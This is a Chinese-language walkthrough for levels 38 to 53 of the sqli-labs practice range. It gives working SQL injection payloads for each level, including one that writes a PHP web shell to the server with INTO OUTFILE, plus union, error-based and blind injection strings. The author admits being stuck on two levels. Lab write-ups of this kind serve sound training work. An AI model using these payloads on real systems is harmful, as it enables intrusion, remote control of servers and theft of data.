sql-libs靶场Page-3(38-53)教程
请先过page-1和page-2
1. Less-38
又是需要写木马
1 | 1';select ' @eval($_POST[x])' into outfile 'D:\\SoftWare\\phpstudy_pro\\WWW\\sql-libs\\Less-38\\test.php'%23 |
把木马写到目录下,密码是x
然后用蚁剑连上去就行了
成功!
2. Less-39
注入点:
1 | 1 and 1=2 |
order by
获取字段数,然后联合注入一下就行
3. Less-40
注入点:
1 | 1') and 1=2 ;00 |
然后order by。联合注入
4. Less-41
和39题一样
5. Less-42
这个有点像24题啊,但是它只能进行登录,注册和密码都用不了。
我们随便输入一个账号密码登录进去发现会到达一个固定的页面。
我们密码和账号输入,因为我懒得去判断是账号存在还是密码存在
1 | 123456' |
发现有报错
说明存在注入。
我们输入
1 | 123456' # |
报错没有了
说明这就是注入点。
我们可以尝试用报错注入。
1 | 123456' and updatexml(1,concat('~',database()),1) # |
6. Less-43
注入点:
1 | 123') # |
还是报错注入
1 | 123456') and updatexml(1,concat('~',database()),1) # |
7. Less-44
这道题需要知道账号
账号 Dumb
密码处找注入点,找到是:
1 | ' or '1 |
然后就能登录进去了
我们在密码处进行联合注入
1 | -1' union select 1,2,3 |
得到显错位,然后就是正常的联合注入了。
8. Less-45
账号:Dumb
密码处注入
注入点:
1 | 1') or 1=1 # |
联合注入
1 | -1') union select 1,2,3 |
9. Less-46
这道题的URL参数是sort
我看到这儿有点懵,这道题啥意思?
然后发现 sort=4 的时候报错了。
sort=3 没有问题,根据报错的提示,我们可以知道字段数为3,虽然人家已经给我们看了。
既然有报错,那么我们可以用报错注入
1 | 1 and updatexml(1,concat('~',(database()),'~'),1) |
10. Less-47
和上一道题一样,应该还是报错注入。
按照逻辑来的话,上一题的是数字型注入,这道题应该就是字符串注入了
1 | 1' and updatexml(1,concat('~',(database()),'~'),1) # |
成功。
11. Less-48
这道题没有报错了。
用布尔盲注或者时间盲注都行
试试布尔盲注
发现 3 有回显,4 无回显,字段数为3
1 | 1 and (length(database()))=8 |
结果发现等于1000也有数据……
我们用时间盲注吧
结果也不行……
试了一下 and rand 结果还是不行,没搞懂这道题到底啥意思?
这道题卡关了。
12. Less-49
注入点:
1 | 1' # |
这道题和48题出现了同样的情况,没搞懂这题是干啥的
13. Less-50
这是一个简单的报错注入,注入点也好找。
1 | 1 and updatexml(1,concat('~',database()),1) |
14. Less-51
注入点:
1’ –
报错注入就行了
1 | 1' and updatexml(1,concat(0x7e,database(),0x7e),1);%00 |
注意这里不能用 ‘~’ 只能用 0x7e 来代替,不信可以自己试试
15. Less-52
注入点好找,数字型注入
然后就没看懂这题啥意思,好像是用时间盲注……
1 | 1 and ascii(substr(database(),1,1))=115 and sleep(1) |
成了。
16. Less-53
这道题甚是离谱,这个注入少一个都弄不了……
1 | 1' and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(1)))--+ |
不要改,这道题好像就只能这么弄,少个加号都不行